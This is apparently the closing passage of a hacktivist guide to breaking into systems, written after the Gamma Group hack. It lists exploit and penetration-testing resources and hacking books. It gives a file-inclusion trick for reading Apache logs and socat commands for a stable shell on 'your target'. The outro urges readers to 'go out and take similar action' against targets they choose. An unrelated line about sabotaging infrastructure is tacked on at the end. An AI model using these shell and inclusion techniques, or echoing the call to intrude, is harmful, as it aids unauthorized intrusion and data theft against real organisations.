* http://www.offensive-security.com/metasploit-unleashed/PSExec_Pass_The_Hash
* https://securusglobal.com/community/2013/12/20/dumping-windows-credentials/
* https://www.netspi.com/blog/entryid/140/resources-for-aspiring-penetration-testers
(all his other blog posts are great too)
* https://www.corelan.be/ (start at Exploit writing tutorial part 1)
* http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
One trick it leaves out is that on most systems the apache access log is
readable only by root, but you can still include from /proc/self/fd/10 or
whatever fd apache opened it as. It would also be more useful if it mentioned
what versions of php the various tricks were fixed in.
* http://www.dest-unreach.org/socat/
Get usable reverse shells with a statically linked copy of socat to drop on
your target and:
target$ socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp-listen:PORTNUM
host$ socat file:`tty`,raw,echo=0 tcp-connect:localhost:PORTNUM
It’s also useful for setting up weird pivots and all kinds of other stuff.

Books:

* The Web Application Hacker’s Handbook
* Hacking: The Art of Exploitation
* The Database Hacker’s Handbook
* The Art of Software Security Assessment
* A Bug Hunter’s Diary
* Underground: Tales of Hacking, Madness, and Obsession on the Electronic Frontier
* TCP/IP Illustrated

Aside from the hacking specific stuff almost anything useful to a system
administrator for setting up and administering networks will also be useful for
exploring them. This includes familiarity with the windows command prompt and unix
shell, basic scripting skills, knowledge of ldap, kerberos, active directory,
networking, etc.

–[ 10 ]– Outro

You’ll notice some of this sounds exactly like what Gamma is doing. Hacking is a
tool. It’s not selling hacking tools that makes Gamma evil. It’s who their
customers are targeting and with what purpose that makes them evil. That’s not
to say that tools are inherently neutral. Hacking is an offensive tool. In the
same way that guerrilla warfare makes it harder to occupy a country, whenever
it’s cheaper to attack than to defend it’s harder to maintain illegitimate
authority and inequality. So I wrote this to try to make hacking easier and more
accessible. And I wanted to show that the Gamma Group hack really was nothing
fancy, just standard sqli, and that you do have the ability to go out and take
similar action.

Solidarity to everyone in Gaza, Israeli conscientious-objectors, Chelsea
Manning, Jeremy Hammond, Peter Sunde, anakata, and all other imprisoned
hackers, dissidents, and criminals!

Techniques for sabotaging capitalist infrastructure and extractive industries